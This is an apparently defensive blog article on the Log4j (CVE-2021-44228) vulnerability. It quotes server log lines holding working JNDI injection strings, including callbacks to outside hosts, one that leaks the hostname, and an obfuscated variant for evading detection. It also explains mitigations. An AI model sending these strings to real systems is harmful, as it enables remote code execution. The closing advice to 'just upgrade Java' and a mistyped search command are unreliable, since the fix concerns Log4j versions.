Log4j: The Worst Vulnerability In Nearly A Decade?

Log4j: The Worst Vulnerability In Nearly A Decade?

A Last Legacy of Problems?

And so in this most difficult of times, we have another Heartbleed. Well, not nearly as bad a Heartbleed, but certainly one of the most significant vulnerabilities we have seen in nearly a decade. And, we must be careful not to over-hype it, as it is no-where near as bad a Heartbleed (and which exposed the running memory of Web servers for sensitive data such as passwords and encryption keys).

It is, of course, Log4j, and which is a Java-based logging utility in Apache. The vulnerability (CVE-2021–44228) allows for remote code execution and which is triggered by a crafted string. It has since has gained the maximum severity level of 10 (‘a perfect 10’ … just like Heartbleed).

The focus of the attack is a specially crafted string contained in a web server request:

${jndi:ldap://[targetsite]/file}

On the 11th December 2021, my site received these (I have removed the IP address and replaced with X.X.X.X):

2021–12–11 18:10:12 10.0.0.7 GET / — 443– X.X.X.X ${jndi:ldap://http443useragent.kryptoslogic-cve-2021–44228.com/http443useragent} 301 0 0 246

2021–12–11 19:47:25 10.0.0.7 GET /${jndi:ldap:/http443path.kryptoslogic-cve-2021–44228.com/http443path} — 443– X.X.X.X Kryptos+Logic+Telltale 400 0 0 247

We can see that “http443useragent.kryptoslogic-cve-2021–44228.com” is the attacker-controlled site (typically done through a Dynamic DNS infrastructure and which allows a site to quickly move before it is shut-down. In this case we see a 400 HTTP response (Bad request) and a 301 (Moved Permanently). Then, on 12th December 2021, it was:

2021–12–12 10:41:39 10.0.0.7 GET / — 443–X.Y.Z.W ${jndi:${lower:l}${lower:d}a${lower:p}://world443.log4j.bin${upper:a}ryedge.io:80/callback} 301 0 0 112

2021–12–12 19:24:04 10.0.0.7 GET /${jndi:ldap:/45.83.193.150:1389/Exploit} — 443–112.74.52.90 Mozilla/5.0+zgrab/0.x 400 0 0 1011

In this, we see both a DNS lookup and also a static IP address. Only just yesterday (19 December 2021) it was:

2021–12–19 02:02:13 10.0.0.7 GET / x=${jndi:ldap://${hostName}.c6ukag223akr9rqphqi0cg9jfkyykij4y.interact.sh/a} 443–139.162.1.99 Mozilla/5.0+AppleWebKit/537.73+(KHTML,+like+Gecko) 301 0 0 261

A lookup on interact.sh is:

% nslookup interact.sh
Server:        192.168.0.1
Address:    192.168.0.1#53

Non-authoritative answer:
Name:    interact.sh
Address: 46.101.25.250

The interact.sh site hosts a data extraction service:

There has thus been mass scanning of Web sites, even ones that do not have Apache installed.

JNDI (Java Naming and Directory Interface)

Within the vulnerability, JNDI is targeted to perform a request to an attacker-controlled site, and which executes the payload. Overall, JNDI provides a way to link APIs to directory services, and where a directory services (Figure 1). The most common directory service within corporate systems is LDAP (Lightweight Directory Access Protocol), and which allows networked systems to be addressed and linked. The service, too, can use NIS (Network Information System) and which is common in Linux-based systems. Java Remote Method Invocation (RMI) is also a common service used in Java-based systems to remotely execute code (and has long been a problem area for security issues).

In many of the scans discovered so far, this is logged as a possible vulnerable system. In most cases, the protocol used for JNDI is “ldap”, but can also be “ldaps”, “rmi”, “dns” and “http”, followed by the attacker domain. In some cases — in order to evade IDS (Intrusion Detection System) - the crafted string may include upper and lower case letters, and also where the letters spelt out:

{jndi:${lower:l}${lower:d}a${lower:p}

Along with this Base64 versions of commands have been dropped — again to avoid IDSs. Up to now, most of the activity has been scanning, but there have been cases detected for coin miners, ransomware and data exfiltration. In one case, the Khonsari ransomware family has been discovered as a payload post-exploitation, and which is hosted on non-Microsoft run Minecraft sites. Within corporate infrastructures, it has been observed that Minecraft has allowed intruders to exploit PowerShell-based reverse shells to then give full access to the system (and run Mimikatz to steal credentials). Possibly one of the most worrying observations, is that nation-state actors now seem to be using the vulnerability to deploy attacks on others.

Major threat?

Governments around the world are now investigating the threats the Log4j face to them. In Singapore, a key focus has been around critical infrastructure services such as in water, healthcare, energy, banking and finance, and aviation. The advice has been to upgrade to Java 7 (2.12.2) or Java 8 (2.16.0), and to disable lookups with the removal of the jndiLookup class from the log4j-core jar file. If this cannot be achieved then it is possible to set the log4j2.formatMsgNoLookups flag to true.

On a Linux system, we can search for the log4j class file with:

dpkg -l | grep liblog4j
dpkg -l | grep log4
find / -name log4j-core-*.jar
locate log4j | gre -v log4js

The bad news for the industry is that Cloudflare detected Log4j as early as 1 December, and where it could have been live for at least nine days before it was disclosed publicly. Cisco Talos also detected its usage in 2 December, and that it had seen activity that showed that the Mirai bot was now using the vulnerability.

It is also too early to know which software packages have been affected, but the NCC group have already detected at least five reverse shells against MobileIron. A scan of Shodan shows that there are currently around 4,554 systems running MobileIron that are exposed to the Internet:

Conclusions

It is too early to say what the current threat level is, but threat actors are already weaponising with it. One thing is for sure, is that we need to get better at writing software, and make sure our applications are secure-by-design. Overall Java — along with Flash — has one of the poorest track records for security problems, and this is mainly caused by the sloppiness of developers in linking to external systems. RMI integration, for example, has also been seen as a particularly weak area, as programs can run code on external systems. If this access is not checked, it can allow intruders to plant a backdoor on the network. With LDAP, too, we have an old system, but it is so useful. Unfortunately, the design of the LDAP infrastructure in my systems tends to be poorly defined, and there are often many ways that an intruder can scan for user accounts on the system with the right level of privilege.

For just now, just upgrade Java … and remove the Log4j class.